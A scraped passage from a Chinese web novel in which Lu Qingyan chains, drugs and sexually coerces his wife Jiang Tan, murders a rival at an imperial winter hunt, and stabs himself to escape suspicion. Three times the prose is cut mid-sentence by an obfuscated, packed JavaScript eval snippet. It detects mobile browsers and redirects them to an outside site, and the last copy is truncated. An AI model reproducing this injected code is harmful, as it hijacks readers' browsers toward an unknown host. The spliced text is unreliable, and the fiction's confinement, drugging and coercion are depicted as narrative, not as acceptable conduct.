原来是汤慎,竟然是汤慎! 陆青檐撕碎信纸,狠狠丢在地上,用力碾进泥土中。 婢女来报:“夫人醒了。” 陆青檐闭了闭眼,神色恢复如常,朝寝房内走去。 姜昙披着一件衣服,靠在榻上喝粥。 那里面放着药材,尽管放的很隐蔽,她还是一口就尝出来了,随即将碗扔到一边。 婢女们急得团团转,殷声劝着,姜昙嫌吵,于是又躺回去,将被子盖过头顶。 不多时,婢女们不说话了。 姜昙刚要探出脑袋,一只手就从缝隙里钻进来,握住她的肩。 “出来。” 陆青檐的手冷得像鬼一样。 姜昙不肯出去,看到他手上包裹的纱布,对准伤口用尽全力咬下去。 陆青檐下意识往回缩,被姜昙更加用力地抱住手臂,死死咬着不肯松口。 姜昙听到他在外面抽气,觉得十分解恨。 陆青檐却忽然不动了。 她正猜测他要做什么,下一刻,被子被猛然掀起一角,陆青檐钻了进来,朦胧的黑暗中盯紧她的双眼。 “闹够了吗?” 因为是在被子里,声音听着有些闷。 “没够!” 姜昙往旁边一躲出来,趁陆青檐还在被子里,裹紧他的脑袋,用力地捂住。 虽然很想捂死他,可他当然是捂不死的。 没用一会儿工夫,陆青檐就从陷阱里挣脱,反手握住她的胳膊压制在床上。 姜昙手脚无力。 两人气喘吁吁地瞪着对方,像一对结了怨的斗鸡。 婢女们捧着药碗,瞠目结舌。 73. 第 73 章 陆青檐的头发垂落在手边。 姜昙够过他的发尾,在手上缠了两圈,扯着他的头发,眼看着他精致的面容扭曲起来。 “撒手!” 姜昙更加用力。 陆青檐骤然松开她的手腕,姜昙便也松开,这样的姿势太累了。 两人隔着一段安全的距离,互相谨慎地打量对方。 最终,陆青檐面色难看,转身离去:“安分待着,过段时间带你出去。” 姜昙抓起手边的软枕,用力朝他的背影丢去。 然而她的力气太小,软枕掉在地上,连陆青檐的衣角都没碰到。 姜昙嘴角一勾,忽然笑起来。 婢女们古怪地看着她,夫人别不是气疯了吧? 姜昙却是笑陆青檐,他不好受,她就觉得开心。 陆青檐其实很怕疼。 吴江那些时日,姜昙跟在宋庸身边,见证过所有宋府下人们所有手忙脚乱的场面。 有一次,宋庸只是手指划了一道口子,血珠渗出了两滴,下人们就一拥而上。 尤其是宋府那个管家,发出一声尖叫,当即朝小厮们大喊,要请三五个大夫来会诊。 宋庸一脸不耐烦,却任由管家郑重其事地吹气,最后把手指裹得比拳头还大。当天大半夜他还把姜昙从家里叫过来,两人有病一样在宋府的花园里走来走去,后来姜昙才知道他是疼得睡不着。 她从未见过这么娇气的男人。 而且重逢之后,姜昙发现,陆青檐的身体似乎变得比以前更敏感。 陆国公府那一次家法,刑杖还没落下来,他的手掌已经下意识地攥紧,源源不断地冒出汗来。 只是他虽然比以前更怕疼,也比以前更能装,总是以怒气掩饰疼痛扭曲的样子。有时掩饰不住,被她抓得身上都是伤痕,咬得手掌伤口撕裂,浑身都在颤抖。 只是再怎么样,他都不会表现在脸上。 姜昙知道他。 此刻面上隐忍不发,实则陆青檐心中一定疼得要尖叫出来了。 方才揪他头发可是用了全力。 姜昙想着此刻陆青檐此刻可能的样子,忍不住再次嗤笑出声。 可是笑着笑着,无尽的悲凉涌上心口,姜昙仰面倒在被中。 她试着动了动脚,一阵哗啦的动静,掀开被子,能看到脚腕上被绑了铁链。 铁链的另一端,连接在地面的圆环中,那圆环被砸得深重。先前在装睡时,她暗暗试过很多次,确定是一个成年男人也挣不开的程度。 这条铁链和盐城姜家,琴夫人拿来绑她的一模一样。 在她离开扬州,未到盐城之前,陆青檐就已经和琴夫人有联络,为她安排好了接下来的事。 那时她甚至还没有识破他的身份,他早就想到过有这一天,故而打了这样的铁链。 姜昙闭上眼。 眼前是黑漆漆的姜家祠堂,黑暗中冒着淡淡白烟的迷香。 婢女们以为姜昙睡了,小心地拾起软枕,轻手轻脚地放在榻边,却不妨撞上姜昙猛然睁开的眼睛。 “夫、夫人?” 姜昙奋力挣着铁链,不顾脚踝被磨破,很快挣得鲜血淋漓。 . 陆青檐听到下人来报时,皱眉站起来。 然而他刚一走动,忽然扯到头皮,察觉一股刺痛。 思量之后,他缓缓坐下来。还是不去为好,万一姜昙又发疯呢? 陆青檐吩咐说:“给她点上安神香,膳食中也添些迷药。” 婢女应是,转头就去办。 南边又传了信,陆青檐坐在书房中一直忙到晚上,看到窗外暗下来的天色,才发现夜已深了。 他决定去看看姜昙。 回到寝房,婢女们正添新的安神香,姜昙的脸深陷在被子里,这个方向看过去,只能看见未梳起来的长发。 过去他曾见过她这个样子。 梅花巷子里,宋庸骑马去找那个穷书生出去,姜昙却不肯开门,说自己病了。 好说歹说,她终于劝走了他。 然而宋庸半道又折回去了。 那一刻他脑中第一次生出为别人考虑的念头:姜昙病了,可以去宋府住,梅花巷子又破又冷,虽然他不懂如何照顾病人,可是宋庸设身处地了想了一下,这里他平日就嫌弃,若是在病中,就更不愿意待了。 于是他就悄悄爬上了墙头。 然后他就看到姜昙开了内门,她以为他已走了,于是大大方方地走到院子里。头发长长地散开,坐在屋檐下里晾头发。 那分明是一个很普通的画面。 可当时宋庸不知为什么,心脏忽然突突地跳起来。脚下跟着心脏一起晃,砰地一声摔下去。 “谁在外面!” 宋庸一时忘了身上疼痛,迅速爬起来,跑出了巷子。 连马都上了三次,才顺利骑上去。 当日夜里回去他就做了一个古怪的梦,梦里他捧着姜昙的头发,缓缓抚摸着。 她的头发又黑又亮,摸起来和他想的一样,果然是丝绸般的手感。 陆青檐坐在床边,姜昙睡得深沉,他挑起一缕揉搓—— 现在摸起来,更甚从前。 这样的头发割起来,尽管只是一缕,也让人可惜不已。 姜昙忽然睁开眼睛,瞪着他。 陆青檐将头发藏在袖子里,嘴上讥讽:“听说你从前还有一个娃娃亲,那人怎么不见了?” 一定是姜清源和他说的。 姜昙浑身无力,她动了动手指,才发现指甲都被剪短磨平了。一时想不到办法对付他,姜昙懒得搭理他,转过脸去躺着。 陆青檐离开床榻,不知去做什么。 片刻之后,他一身中衣,带着些微的寒意,从后面抱了上来。 抱了片刻,他的手向下移动,去摸她的脚踝。触碰到伤口的一瞬间,姜昙反射性地避开,被陆青檐强硬抓住。 陆青檐坐起来:“我也不想你受苦,可你太不听话了。” 他又下床去,片刻后回来,手上一抹粘腻的凉意,轻轻涂抹在她的脚踝上。 姜昙闭着眼任由他折腾,又听他说:“别反抗,就不会受苦。” 他说的话别有深意。 涂抹完药,陆青檐握着她的脚踝不肯放手,将她的腿挑起来,一手将她的脸拨过来。 看见陆青檐的那一刻,姜昙又是一阵恶心,他伸手过来,又要捂她的嘴。 姜昙躲不开,瞪着他说:“劳驾将脸遮住,我不想看见你的脸。” 陆青檐面色不善,偏要让她看着他:“做、梦。” 片刻,锁链猛地一颤,叮叮当当摇晃起来。 . 姜昙在床上躺了许多日。 陆青檐最近诸事缠身,白日没空来找她,只有夜里过来。有时夜里也不过来,天明时才爬上床。 有时候她会觉得陆青檐两头上值,听说他白日还要抽空练剑。 他那身板,从做宋庸时就惫懒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361020|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得过分,现下竟还要练剑。 脚踝上的铁链换了好几条,变成更软的、更安静的的材质。 白日里,姜昙靠在榻上看书。 陆青檐不许她去外面,却将她感兴趣的书籍都搬了过来,还有他觉得好玩在姜昙看来却十分幼稚的小玩意儿,看起来都是海上运来的。 初时,姜昙将这些东西扔得满地都是。婢女们手忙脚乱地接住这个,接不住那个,最终有许多东西都被她摔坏告终。 后来送来的是医书。 姜昙无所事事,便翻了翻。有时在一堆书籍中翻到一本春宫,意识到这可能是陆青檐的书房里搬来的,便将那书撕得粉碎。 反正第二日,又会有新的送来。 撕得多了,总有一天会把陆青檐的书都撕干净。 日子就这样一天天过去。 有一日,婢女们忽然惊喜地嚷嚷:“下雪了!” 院子里两个年纪略小的婢女扫着雪,忍不住丢起雪球来。被嬷嬷发现后好一顿训斥,不知躲哪去玩了。 婢女们怕她生气,院子里安静得过分,她们恐怕都觉得她是一个疯子。 屋子里烧着地暖,让屋内的人感知不到冷意。不知不觉中,又过去了很多日。 婢女们穿上厚厚的冬衣,进门时鼻子通红,总要搓好一阵手指。 外面更冷了。 这一晚陆青檐过来,待两人相拥着平息呼吸后,他告诉她:“杜良离京了。白日他来辞行,看样子是要携着妻子回乡过年。他走时还想见你,我说你病着,不便见客。” 姜昙沉默着。 说着,陆青檐的手抚上她的心口:“心跳似乎快了些……你与他说过什么?” 陆青檐似乎也未指望她回答,他知道她一向话少。 就算说了什么,也不会与他说。 翌日清早,被缚住的那只脚边传来开锁的动静。 姜昙蓦然睁开眼睛,对上陆青檐的视线:“前些日子说过要带你出去,就是今日了。” 婢女们过来服侍她起床,穿衣,梳妆。 姜昙的心跳声又急促起来,双脚自由了,她可以寻机会逃走! 铜镜中陆青檐望过来,他的面容逐渐凑近,给她簪上一朵绢花:“别动歪心思,待会儿你就知道,这里比外面好。” 很快,姜昙就知道他说的是什么意思。 他们并非是独自出去的。 大大小小的马车外,是一眼望不到边的随行侍卫,这样大的排场,只能是皇帝出巡。 京都银装素裹,景胜帝携同臣子准备到皇家猎场冬狩。 如今竟已到十二月了。 姜昙掀开车帘,远处一队人马行来,身后陆青檐忽然按住她的手,将车帘放了下来。 “昇弟,多日不见,近来可好?” 陆昇早已看到了陆青檐。 却不知他的车帘突然放下意欲何为,原本想装作没看见直接经过,却不想被叫住了。 大庭广众,陆昇不得不转过来:“长兄。” 陆青檐似笑非笑:“昇弟一个人来,太傅家的女儿没一起跟着吗?” 隔着晃动的车帘,陆昇看到里面一片胭脂红的衣角。想起京都中陆青檐将整个戏园子纳入府中的传闻,不由一阵恶寒。 陆昇愤愤斥道:“不是谁都和长兄一样不知检点!” 陆青檐将缩在角落的姜昙捞过来,刚好露出一个影影绰绰的女子身形。 “这不是旁人,而是你嫂嫂。” 74. 第 74 章 陆昇未听过陆青檐娶亲的消息,难道是他自己私自成了婚?可是再怎么也该禀告父母,他竟无视礼法到这种地步。 陆青檐真的心情不错,还朝马车里面的妻子温言介绍:“这是昇弟。” 陆昇一时不知该如何是好了。 他再也站不住,转身匆匆离去。 陆青檐敛去笑意。 他回身看马车里的姜昙,她方才根本没有注意听他说话,仿佛根本不在意外面是谁。 陆青檐不禁得意地笑。 马车刚启程,陆青檐就下了马车换马骑,车队中有不少达官显贵,他忙着去前面应酬。 姜昙心念一动,悄悄掀开车帘,却对上邓显的笑脸:“夫人想要什么?” 她蓦地把车帘砸下去。 马车被邓显带人围着,就算逃下这辆马车,马车外也有宫里的侍卫们。 还不如在府里。 一直到猎场的大帐里,陆青檐都没有再出现。反而是一群不认识的官眷夫人,一股脑儿地涌进来,自来熟地逗着姜昙说话。 估计又是陆青檐找来的。 如他所说,这一批是已被“料理”过的官眷夫人,不管她如何冷脸,她们始终神态自若地簇着她笑。 姜昙渐渐觉得十分没意思。 她一直盯着大帐的入口处,在有人进出时摇晃的缝隙里,看到陆青檐养在府里的那条狼犬也牵来了。 那畜牲鼻子灵敏,分辨出姜昙的气味,竟朝这边看来,对上了她的眼睛。 不多时,狼犬被小厮牵走了。 姜昙收回视线。 . 景胜帝大步走进营帐。 身后内侍拖着一头鹿跟上来,一人对上陆青檐,使了个眼色。 陆青檐和赵青林对视一眼。 随后赵青林跪下去:“第一箭就射中如此灵巧的猎物,皇上龙威更甚从前。承天之佑,堪称子民之福!” 有他在前带头,身后一群人跟着跪下去,高呼吾皇万岁。 许道成看了看闫慈,又往后看了一眼陆青檐,最终也不得不带着一群人跪下去。 景胜帝大笑:“闫尚书,你这一对义子教得好,一个比一个会说话。尤其是长子青檐,每次都能讨朕欢心!” 闫慈满意地笑。 陆青檐肃然说:“皇上冤枉微臣,义父教导臣从不说谎话,故而字字句句发自肺腑。” 这副认真的模样,逗得景胜帝笑得更加开怀。 满帐子的臣子轻笑成一片,只有首辅许道成嘴角僵硬,他身后站着的一众臣子亦笑得勉强。 笑声之后,景胜帝有些疲累。 提出让随行的年轻臣子及家中儿郎下场比试一番。 狩猎的看点就在于此,各家自然不会放过在皇上面前表现的机会,争先恐后地下场。 陆青檐站在一旁,张开双臂由着小厮给他整理腰带。 赵青林策马停在他身前,说道:“汤家的人到了。” 陆青檐看向一侧,汤炳方才随着景胜帝去了大帐。 他的两个儿子倒是出来了,站在京中王侯的公子中,一身矫健,尤其显眼。 次子汤恒,三子汤忖。 两人都是锦衣卫,对暗地里的视线尤其警惕,竟察觉到有人在看他们。一番寻找,正对上陆青檐的视线。 陆青檐朝两人扬眉而笑,拱手说:“待会儿还请两位汤公子手下留情,庸不擅骑射,多让让我。” 两位汤公子都认得陆青檐,知道他身上的那些事,更知道是他害了长兄汤慎。 一个凶手,竟还敢对他们笑,分明在挑衅。 汤忖怒而握紧缰绳,一旁的汤恒还算理智,拦住他说:“忘了父亲的话吗?” 只这一句,两人冷静下来。 陆青檐翻身上马,不等小厮整理好箭袋,策马奔入猎场: “庸在林中等着两位汤公子。” 转眼间他已消失得看不见。 汤忖再也忍不住,拍马追了上去。 “阿忖!” 二兄叫他,汤忖已什么都听不见了。 林子里四处白茫茫的,都是积雪。原本是没什么猎物的,然而侍卫们提前已查探过一遍,将猎物们都驱赶得四处逃窜。 正是狩猎的好时候。 陆青檐勒马在树下,不多时就看到一只罕见的红色狐狸,谨慎地正在爬行。 他屏住呼吸搭弓拉箭,对准那只赤狐。 身边忽然有马蹄踩碎树枝的声音,狐狸一惊,飞速往洞内跃去。箭矢破空而来,从陆青檐的耳侧擦过去,钉死了那只狐狸。 能在猎物受惊后飞速移动时射中,不愧是锦衣卫出身。 陆青檐由衷赞叹:“好箭法。” 汤忖并未因为陆青檐的恭维而觉得高兴,反而更加愤怒。 然而熊熊内火中烧,他还是不能把陆青檐怎么样。 朝廷命官,天子宠臣。 他若有事,尚书那处不会善罢甘休。 汤忖冷哼一声:“长公子?你又是谁家的长公子?真讽刺,认一个天阉当爹,做别人家的长公子。旁人叫你长公子,你真当自己是长公子?” 挖来挖去,暗线挖出这些不堪的秘辛,不能拿他怎么样,却也可以说出来恶心他。 “长公子,听说你与海外联系甚密,你最好夹紧尾巴做人,别被锦衣卫拿到什么把柄。若有那一天,我在诏狱准备十八种酷刑等着你!” 陆青檐被戳中痛脚,脸色变了。 密探的消息并不确切,汤忖只是诈一诈他,看到他的脸色,才发现竟然是真的。 他要回去告诉父亲。 弄死陆青檐,就等于砍掉闫尚书的一只臂膀,太子有翻身的机会了! 陆青檐方才的笑面维持不住,片刻后挤出一句:“真想杀了你。” 汤忖半点不怕,反而笑了:“这是猎场,皇上的眼皮子底下杀人,你尽管试试,看九族的脑袋够不够砍。” 他不能对陆青檐怎样,反过来,也是一样的道理。 皇家猎场,天子狩猎。 锦衣卫是近臣,朝廷鹰犬,若是一个锦衣卫死了,那么就代表皇帝的身边不安全。 更何况,他还不是一般的锦衣卫。 汤忖说着,策马从陆青檐身边撞过去,撞得陆青檐身下的马受惊。 看到陆青檐狼狈地拉扯缰绳,险些摔到地上,汤忖笑得更加得意。 他过去拾被射死的红狐,马后已绑了一堆猎物,足见箭术精湛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361021|142961||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在他弯腰的一瞬间,背后有箭矢的声音,比寻常的破空声更急。 这不是寻常的弓箭,他根本躲不开! 汤忖肩上中了一箭,摔倒在地。 他忍痛转过身,看到陆青檐右手绑着箭驽,对准自己,又是一箭射过来! 锦衣卫密探的消息不会出错,陆青檐箭术奇差无比,他绝不可能有射伤自己的机会。 可汤忖没想到,他竟带了箭驽,更不敢相信的是,陆青檐竟胆大包天到了这种地步,竟敢射杀锦衣卫。 “汤慎没有告诉你吗?”陆青檐学着一个长兄的模样说:“谨言慎行呐,阿忖。” 第三箭,对准他的眉心。 “啊———” 林子里逃出几只飞鸟。 汤恒豁然转身,他方才好像听到了阿忖的声音。 赵青林招呼他加入贵公子的队伍:“二公子,看什么呢?继续过来一起玩。” 陆青檐早已不见了! 思量片刻,汤恒朝林子里奔去。赵青林叹气,这下是拦不住他了,长公子自求多福吧。 “阿忖——” 陆青檐方抽出箭,还未来得及掩埋尸体,就听到了汤恒的声音。 汤家三位公子数汤慎最出挑,其余两位,一个有勇无谋,一个有谋无勇。 这么快就找过来了。 陆青檐道:“把他丢下去。” 身旁出现两名侍卫,联手把汤忖和他的马一起扔进了山崖下去,连同他留在这里的痕迹,也一并消灭得干干净净。 随后,两人像方才过来那样,四处分散到了远处的丛林中,装作猎场四处巡视的守卫。 陆青檐捡起那只红狐,放到了自己的马后。 此时天色渐阴。 陆青檐抬手接住了风雪,瞧,老天都在帮他。 低头拍了拍身上的灰,他在胸口发现一片血迹,是汤忖留在他身上的。 这下麻烦了。 “阿忖?阿忖!” 汤恒找到了这处林子里,有一道明显的马蹄印,不是阿忖的马。 随行的护卫说:“皇家的猎场,有时也会有不怕死的猎人潜入,布置陷阱什么的,二公子许是被困住了。” 听起来很有道理,但汤恒并没有松气。 他从马上下来,趴在地面上一处一处寻着踪迹,最终站起来:“不对劲!” 护卫问:“哪处不对劲?” “我们脚下的地面,所有都不对劲!雪下有血渍,还特意被清理掩埋过!” 所有的痕迹被清理,只有一道是刻意留着的。 汤恒沿着痕迹看去,那条马蹄印,通往皇帐。 风雪变大,官眷夫人们不得不告辞。 姜昙坐在帐子里烤火,忽然听得一声异动,她谨慎地举起火钳,帐后忽然冒出个人来。 定睛一看,竟是陆青檐。 又玩这样的把戏! “你闲的很吗?” 姜昙没好气地瞪着他,却见陆青檐笑了笑:“你别吓着。” 她怎么会被吓着? 念头闪过的瞬间,脸上溅了殷红的鲜血—— 陆青檐握着匕首,自己捅了自己的心口。 姜昙震惊地看着他:“你疯了?” 75. 第 75 章 姜昙不寒而栗。 一瞬而过的念头先于脑子被问出来,然而陆青檐就这么轻飘飘地说了实话。 她震惊他的野心,更震惊他的坦诚。 敢说出来,就代表他并不怕人知道。 冬狩猎场如此显眼的地方,稍微有点风吹草动就能吸引来一大片侍卫,而他却能无声无息把汤忖杀掉。 就算汤炳再怎么遭到皇上疑心,毕竟未走到最后一步,锦衣卫指挥使的名头还是管用的。 可是陆青檐就这么轻易杀掉了他的儿子,旁人除了找不到证据外,也根本想不到他有这么大的胆子。 他在侍卫中有安插人手吗?还是陈将军也与他有勾结,故而睁一只眼闭一只眼? 还有贵妃,回京那日姜昙在皇帝身边看到了她,得知她是最受宠爱的贤妃。 贤妃在此事中可出过力? 那次陆青檐对贤妃说的话又是什么意思? 当今太子体弱多病,身后站着许道成,然而首辅年事已高,已在与闫党的斗争中多次处于下风,为皇帝不喜。 冬狩为彰显国威,祈求来年丰收。这样重大的日子,皇帝却未叫太子伴驾,足见皇帝也并不喜欢太子。 为皇帝生个皇子……贤妃或许以为陆青檐要做权臣,万万想不到他觊觎皇位。 “很冷吗?” 陆青檐凑得更近了,鼻尖对着她的鼻尖。 他仿佛能看透她在想什么,却不闪不避,任她打量。 姜昙一瞬间觉得他很陌生。 先前她隐隐有过猜测,为什么陆青檐要将自己捅成重伤。 现在她可以肯定,他是在杀了汤忖之后,对自己下狠手,摆脱自己杀人的嫌疑。 猎场有他的人,他可以伪装,却偏偏要动真格的。 那只箭离他的心脏不远,就差一点,他就活不成了。 可是动手之前,他又怎么能猜到自己是否能活下来呢? 他猜不到。 但是为了做到万无一失,不惜拿自己的命去赌,知道自己对他有怨气,所以让她亲自下手。 从汤忖被杀,到汤炳失宠被贬官,只用了半月左右的时间。 他算得一步不差,连同多变的帝心在内。 姜昙从没有任何时候,比现在更能明白一个事实—— 陆青檐不是以前的宋庸。 三年时间,他已从吴江的匪徒变成京城的弄臣,表面上身份不显,私底下搅弄风云。 成长闫慈那样的权臣,也是迟早的事。 而她用了三年振作起来,她那些毫无进步的小聪明,对上如今的陆青檐,会有几分胜算? 还有紫珠,她已经很久没见过紫珠了,听说她和双双在一起,然而双双也许久不见了。 此生她还有机会离开京城吗? “在想什么?” 下巴被抬起来,陆青檐的眼神与方才又不一样了。 方才是淡然,即使被察觉到大逆不道的心思,依旧摊开来任她随意看。现在是怀疑,隐约还有一丝不悦,他十分敏锐,似乎发现了她在想什么。 姜昙说:“我想紫珠了,什么时候……” 刚起了个开头,陆青檐的眼神就掺了冷意,似笑非笑:“姜昙,你在想什么,我不用猜都知道,收起你的歪心思。” 他披衣下床去,留下一句:“我要外出几日。” 守夜的婢女抬了水进来,陆青檐却不打算留在这,看样子是要去浴房。 姜昙握紧被褥,恨不得往他脑袋上丢石头。 陆青檐最近十分喜怒无常,前一刻说话情人低语,温情脉脉。后一刻就沉默不言,一直盯着她看,仿佛要把她看出一个洞来。 仿佛有两个灵魂挤在一个壳子里,轮番控制陆青檐的身体。 这时,姜昙便装作不知道,继续忙自己手上的事。 身后陆青檐的视线就更加强烈。 这样无时无刻的审视和猜忌,让姜昙几乎没空闲思考别的事。 和他在一起,姜昙也快被折磨得发疯。故而在他离开后,姜昙甚至会有种松了口气的感觉。 然而她忘了,陆青檐不在时,他的眼线会将自己更加严密地看管起来。 姜昙刚坐起来,陆青檐去而复返,又是一阵无言的盯视。 随后他转过头去,对门口的仆妇说了句什么,离开了。 仆妇怜悯地看了一眼姜昙,对身边几人使了眼色,去取先前的箱子。 箱子打开,是一阵铁链的动静。 姜昙浑身寒毛直竖,他又要锁她了! 两个婢女扑过来,捏住姜昙的手腕。这样的事情她们轻车熟路,知道哪里是姜昙的弱点, 姜昙挣扎得厉害,又有两个婢女压住她的腿。 冰凉的铁链缠上脚腕的那一刻,先前的回忆涌上脑海,那些焦躁不安的情绪一瞬间回归。 姜昙觉得自己是一个疯子,又像圈里一头野性未除的畜牲,屈辱而绝望地承受折磨。 “放开我!” 她愤怒地大喊着,脚下使劲踢开一个婢女,身上的人便都被摔开。 门还未关严实。 姜昙奋力朝门外跑去,刚踏过门槛,身后一个健壮的仆妇就将她压在地上。 她在这个院里被关了整整一百个日夜,从愤怒地摔东西,到浑身无力地躺在床上。 濒临崩溃时,被陆青檐带着出去,脚上褪下镣铐,竟让她暂时忘了那些不堪,产生了自由的错觉。 如今时日到了,她又要像以前那样数着下一个一百日。 下一次放她出去是什么时候,会是春天吗? “拿绳子来!” 背上压住她的仆妇说:“长公子还没走远,可别被他听见了。让人看见她跑出去,咱们谁都活不了!” 婢女们一涌而上。 为了防止婢女与姜昙走的太近,院里的婢女隔一段时间就要换一批,每次看到都是陌生的面孔。 只有这个仆妇,据说是照顾妇人经验丰富的嬷嬷,特意从被拨过来照看她。 “放开——” 姜昙的嘴中被塞入了布巾,手也被绳子绑住。 仆妇招呼婢女们把姜昙拖回房里,气喘吁吁地说:“还跟以前一样,往她碗里加迷药!去把安神香也点上!” 婢女为难说:“胡嬷嬷,可长公子方才走时并未吩咐……” 胡嬷嬷说着去翻迷药:“以前就是这么办的,长公子肯定不会说什么。” 倒完迷药,胡嬷嬷低头一看。 方才姜昙挣扎时勾破了她新做的衣服,才上身一次就废了。心中暗暗啐了一口:“再多给她放点,省得又跟疯婆子一样折腾!” 具体怎么才算多,胡嬷嬷心里也没数,于是又添了一倍的药量。见油纸包里还剩下一点,索性全部倒进去,正好不浪费。 反正长公子得过几天才回来,把她放倒,神不知鬼不觉,大家都省事。 姜昙的脚踝上又缠上了铁链。 屋子里分明燃着炭,姜昙却冻得浑身冰凉,冻得眼泪都涌出来了。 鼻间闻到浓浓的安神香气味,婢女们又点上了。 口中的布巾被取下来,浓黑的药汁抵到唇边,姜昙狠狠避开,药洒了满床。 “我没病!” 好不容易换的床单,上好的丝绸,这就浪费了一条,还得折腾着重新换一条。 胡嬷嬷气得眉毛直竖:“长公子说你有病,你就是有病!不下蛋的鸡,不是病是什么!” 转头对婢女们说:“再盛一碗来,给她灌进去!” 姜昙像方才那样被按在床上,像不听话小儿喝药一样被灌进去大量药汁。 胡嬷嬷满意地点头:“这是多少人求着都不给的秘方,喝了这药,早点给长公子生个儿子。” 做完这一切,婢女们将门窗紧闭,自行出去了,以前总要开着的门缝也没有留。 胡嬷嬷的脸在门缝里看起来有些狰狞:“这就算是惩罚,长公子不在这几天,您就好好想想。” 长公子年轻有为,前途无量,后院里就这一个女人,整天又哭又闹地,不知在矫情什么。 真是生在福中不知福,就该好好调教一阵。 门被阖上,连灯也被吹熄了。 只有房里的炭盆冒着微微火星,映出了房中袅袅飘起的安神香。 姜昙浑身的力气散了,连挣着脚上的铁链都觉得累。 她便静静躺在床上。 不知何时睡了过去,又不知何时醒了过来,觉得呼吸困难。 姜昙看向炭盆,它是罪魁祸首。 冬日人们贪暖,总将门窗捂得严实,可若是屋里有炭燃着,一夜过去,足以让人中毒气死亡。 陆青檐害怕婢女和她相熟,不许她们过多和她接触、说话。除了逼疯她,没想到还有这样的效用。 如果她死了,陆青檐会不会气得半死? 要就这么死去吗? 不!她好不容易活过来,怎么能死! 姜昙往床下爬去,可仅仅接触到地面,铁链就绷紧了,再往前走,是远远够不到窗户的。 力气在此时用尽了。 姜昙困倦不已,为了保持清醒,她试着咬了一口手臂,却因为浑身无力起不到作用。 床上床下,锋利的物什都被收走了,连桌角都是磨钝的圆面。 只有一样东西是坚硬的。 姜昙爬上床,握住脚踝的铁链,整个身体重重往床下一滚,脚上的铁链绷直,和坠力同时撕扯着脚踝。 反复其次,她终于清醒了。 一番折腾下来头晕眼花,姜昙缓了片刻,抓住软枕,就要往炭盆里丢去。 打翻炭盆,就能保住性命。 然而举起软枕的那一刻,姜昙犹豫了。 她想起陆青檐让自己刺他心口的时候,他也不知道自己能不能活,只给自己留了微弱的生机。 最后却用一人之身,换来整个汤家倒台,甚至以此重创首辅和太子。 置之死地而后生。 姜昙心中冒出这个念头来,缓缓放下了软枕。 门外有婢女守夜,听到室内的动静,推开门看了一眼姜昙,她仍好好地躺在榻上,像是睡熟了。 “冷……” 床上的人梦呓。 冷?婢女于是添了些炭。 按规矩来说,婢女应在屋内守夜,可长公子有吩咐,谁都不许离夫人太近。 婢女便又出去了。 . 陆青檐忽而抽气。 孙太医手一抖,连忙将银针取下:“您重伤未愈,实在不易此时试针。何况下官一时没有头绪,不如等您伤好了再来?” 陆青檐睁开眼睛,看着眼前的烛火,恍惚了好一阵才看得清孙太医的脸。 “我头疼是否与眼疾有关?” 孙太医为难:“这说不好,许是两者各有病灶,许是一者影响另一者,下官还需要一些日子看看。” 陆青檐扶着额头。 他也知道,头疾由来已久。以前还能通过喝酒服一晌贪欢缓解,可是自从打算戒掉后,陆陆续续一直痛到今日。 他忽然想起一个问题:“这病可会传给子嗣?” 孙太医仍旧为难:“这也说不好,依长公子所说,是三年前突然出现的。陆国公可有类似症状?” 陆青檐脸色沉下来。 孙太医登时闭嘴了。 这对父子关系疏离,问陆国公还不如问闫尚书,陆青檐对后者的情况或许更熟悉一些。 孙太医说:“暂时无药可用,长公子不若好生睡一觉,可养浩然之气,恢复精力。” 护卫送来酒与药,陆青檐最终一口没动,命人点了一支安神香,就这么睡过去。 迷迷糊糊中,他醒来了。 瞧见一个黑影坐在榻边,陆青檐下意识就要叫刘武进来,然而那人靠近,却看清这是姜昙。 陆青檐坐起来:“你怎么来了?” 姜昙摸摸他的脸:“我来看看你,待会儿就走了。” “去哪儿?” 陆青檐的心出奇地静。 姜昙说:“去吴江,去扬州,我想去更南边的地方看一看。” 陆青檐抓住她:“那我怎么办?你不要我了?” “是你先不要我的。” 姜昙将手抽出来。 陆青檐猛然惊醒。 外面有人敲门:“长公子?跟着汤家离京的探子来报,昨夜丑时二刻,汤慎咽气了。” “知道了。” 陆青檐按着额头,那处余痛未消,后背竟出了一身冷汗。 “府里可有什么消息?守在夫人门外的探子可曾来过?” 外面人答:“不曾。” 外面天已大亮。 陆青檐复躺下,然而思来想去,他总觉得哪里不对,决定还是提前回去好了。 “备车。” 他又从床上起来,穿上外衣又吩咐道:“算了,备马。” 回到府中的那一刻,陆青檐心头的不好预感成真。 门房看见他回来,肉眼可见地吓了一跳,像是畏惧什么。待他到了寝院,下人们在院门口乱成一团。 寝房门口,几个婢女进进出出,将入口围得水泄不通。 不知那个眼尖的看见了他:“长公子回来了!” 屋内的仆妇慌忙走出来跪下:“长、长公子不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 